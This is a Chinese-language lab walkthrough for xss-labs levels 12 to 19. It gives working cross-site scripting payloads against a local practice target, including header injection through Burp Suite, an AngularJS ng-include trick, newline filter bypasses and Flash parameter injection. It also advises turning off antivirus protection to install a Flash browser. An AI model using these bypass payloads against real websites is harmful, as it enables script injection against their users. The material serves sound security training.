【xsslabs】第12-19关
第十二关
javascript:alert(/xss/)
User-Agent注入点:t_ua
字段的值直接来自浏览器的User-Agent
输出位置:页面显示"没有找到和javascript:alert(/xss/)相关的结果"
alert被重写:调用alert会触发页面跳转
使用Burp Suite
拦截对level12.php的请求
修改User-Agent头:
User-Agent: "><script>confirm(1)</script>
转发请求 8888" type="text" οnmοuseοver="alert(666)
页面加载后会触发confirm弹窗
"
闭合value属性
onmouseover=confirm(1)
注入事件处理器
当鼠标悬停在隐藏字段上时触发confirm弹窗
第十三关
先测试 javascript:alert(/xss/)
Cookie注入点:t_cook
字段的值可能来自Cookie
alert被重写:调用alert会触发页面跳转
第十四关跳过
第十五关
过关的核心是构造一个能自动触发 XSS 的 URL,并通过 ng-include
加载一个存在 XSS 漏洞的页面。在浏览器地址栏或 HackBar 中输入以下 URL
http://127.0.0.1/xsslabs/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
src
参数的值用单引号包裹,确保 AngularJS 将其视为字符串路径。level1.php
是同一服务器上的一个存在 XSS 漏洞的页面(它未过滤name
参数)。<img src=1 onerror=alert(1)>
是自动触发的 XSS 载荷:当图片加载失败(src=1
无效)时,onerror
事件会自动执行alert(1)
。
执行 URL 并触发过关
在 HackBar 中输入上述 URL,点击 Execute 执行。页面加载后,ng-include
会动态包含 level1.php?name=<img src=1 onerror=alert(1)>
。由于 level1.php
漏洞,<img>
标签被渲染,触发 onerror
事件,执行 alert(1)
。页面中重写的 window.alert
函数会被触发,点击确认后,自动跳转到 level16.php
,过关成功。
<img onerror>
不需要用户交互,页面加载即执行。通过
ng-include
包含level1.php
,利用了level1.php
的 XSS 漏洞(它直接输出name
参数值)。单引号确保
src
参数被正确解析为字符串,而不是 AngularJS 表达式,避免语法错误。
第十六关
第16关的服务器端代码会对用户输入进行几层处理:先将整个字符串转为小写,然后将关键词 script
、空格、斜杠/
都替换成 HTML 实体
(一个不会被解释为空格的特殊字符)。
关键在于,虽然普通的空格被过滤了,但我们可以用其他字符来充当标签属性之间的分隔符。最常用且有效的是 URL编码的换行符 %0a
(或其大写形式 %0A
)。
<img%0asrc=1%0aonerror=alert(1)>
<img...>
:使用 img
标签来避开对 script
关键词的检查。
%0a
:用换行符代替空格,分隔标签内的不同属性。服务器可能不会将其视为普通空格进行过滤,而浏览器在解析 HTML 时通常能正常将其识别为属性分隔符。
onerror=alert(1)
:这是一个经典的 XSS 向量。它指定当图片加载失败(由于 src=1
是一个无效的地址)时,执行 JavaScript 代码 alert(1)
。
http://靶场地址/level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)>
除了 img
标签的 onerror
事件,你也可以尝试使用其他标签和事件处理器,只要确保用 %0a
分隔属性即可。
<svg%0aonload=alert(1)>
使用
<input>
标签(需要用户交互,如鼠标悬停):<input%0atype="text"%0aonmouseover="alert(1)">
第十七关
payload:
http://127.0.0.1/xsslabs/level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)
服务器端的PHP代码会获取arg01
和arg02
参数的值,经过htmlspecialchars()
函数过滤(主要转义特殊字符)后,将它们以key=value
的形式拼接到<embed>
标签的src
属性中。这里的 8888
和 onmouseover=alert(1)
都被直接拼接到了src
属性的值里。虽然8888
看起来是多余的,但它并没有破坏语法结构。
onmouseover=alert(1)
被成功写入<embed>
标签的src
属性。虽然它位于src
的字符串内,但浏览器在解析时,onmouseover
依然被识别为该<embed>
标签的一个有效事件属性。当鼠标移动到这片由<embed>
标签定义的区域(通常是SWF文件加载的区域)时,onmouseover
事件被触发,其指定的JavaScript代码alert(1)
便得以执行。
第十八关
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert(1)
服务器代码将参数直接拼接到src
属性中
第十九关
这一关需要利用Flash文件(SWF)中的XSS漏洞。由于现代浏览器已不再支持Flash,通关此关的关键是配置一个能运行Flash的环境并使用特定的Payload。
配置Flash环境
1.使用专用Flash浏览器
下载并安装专为Flash设计的浏览器(如 Flash游戏浏览器)。注意关闭杀毒软件实时防护以防安装包被误删。在此浏览器中访问你的靶场地址
2.使用旧版浏览器并启用Flash--安装旧版浏览器(如Chrome 88以下版本)。保已安装Adobe Flash Player并在浏览器设置中启用Flash(通常需要允许网站在“首先询问”或“始终允许”下运行Flash)。
3.加载一个Ruffle扩展
payload
http://127.0.0.1/xsslabs/level19.php?arg01=version&arg02=<a href="javascript:alert(1)">1</a>
参数说明:
arg01=version
: 该参数名 version
是Flash内部用于接收版本号或特定信息的变量名,是关键的回显点
arg02=<a href="javascript:alert(1)">点击我</a>
: 此参数值是一个超链接,其 href
属性包含JavaScript代码 javascript:alert(1)
。当用户点击此链接时,就会触发XSS。